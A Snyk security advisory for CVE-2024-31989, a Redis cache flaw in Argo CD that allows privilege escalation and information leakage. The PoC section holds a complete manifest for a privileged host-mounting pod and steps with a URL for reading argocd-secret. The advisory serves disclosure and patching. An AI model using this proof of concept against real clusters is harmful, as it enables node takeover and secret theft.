Use of a Cryptographic Primitive with a Risky Implementation Affecting github.com/argoproj/argo-cd/v2/cmd/argocd/commands/admin package, versions <2.8.19 >=2.9.0-rc1 <2.9.15 >=2.10.0-rc1 <2.10.10 >=2.11.0-rc1 <2.11.1
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMARGOPROJARGOCDV2CMDARGOCDCOMMANDSADMIN-6968878
- published 22 May 2024
- disclosed 21 May 2024
- credit Oreen Livni
Introduced: 21 May 2024
CVE-2024-31989 Open this link in a new tabHow to fix?
Upgrade github.com/argoproj/argo-cd/v2/cmd/argocd/commands/admin to version 2.8.19, 2.9.15, 2.10.10, 2.11.1 or higher.
Overview
Affected versions of this package are vulnerable to Use of a Cryptographic Primitive with a Risky Implementation in Redis Cache. An attacker can escalate privileges to the level of cluster controller or cause information leakage by connecting to the Redis server on port 6379 from an unprivileged pod in a different namespace on the same cluster.
Note:
This is only exploitable if the VPC CNI plugin is not manually configured to enforce network policies.
PoC
To modify the cluster deployment, one can alter the "mfst" key of the latest revision. For instance, add the following line:
{"apiVersion":"apps/v1","kind":"Deployment","metadata":{"labels":{"app.kubernetes.io/instance":"myapp1"},"name":"everything-allowed"},"spec":{"replicas":1,"selector":{"matchLabels":{"app":"everything-allowed"}},"template":{"metadata":{"labels":{"app":"everything-allowed"}},"spec":{"containers":[{"args":["while true; do sleep 30; done;"],"command":["/bin/sh","-c","--"],"image":"ubuntu","name":"everything-allowed-pod","securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"noderoot"}]}],"hostIPC":true,"hostNetwork":true,"hostPID":true,"volumes":[{"hostPath":{"path":"/"},"name":"noderoot"}]}}}
This addition creates a highly privileged pod.
To cause the web page to load a different Kubernetes resource in the "Live Manifest", edit the "app|resources-tree" manifest. Modify one of the component's kind, namespace, and name. Upon reloading the web page and clicking on the newly created asset, an error message appears: "Unable to load data: argocd-secret not found as part of application myapp." However, the resource's description is still transmitted to the browser, as seen in this URL format:
https://127.0.0.1:8081/api/v1/applications/myapp/resource?name=argocd-secret&appNamespace=argocd&namespace=argocd&resourceName=argocd-secret&version=v1&kind=Secret&group=
This situation results in information leakage.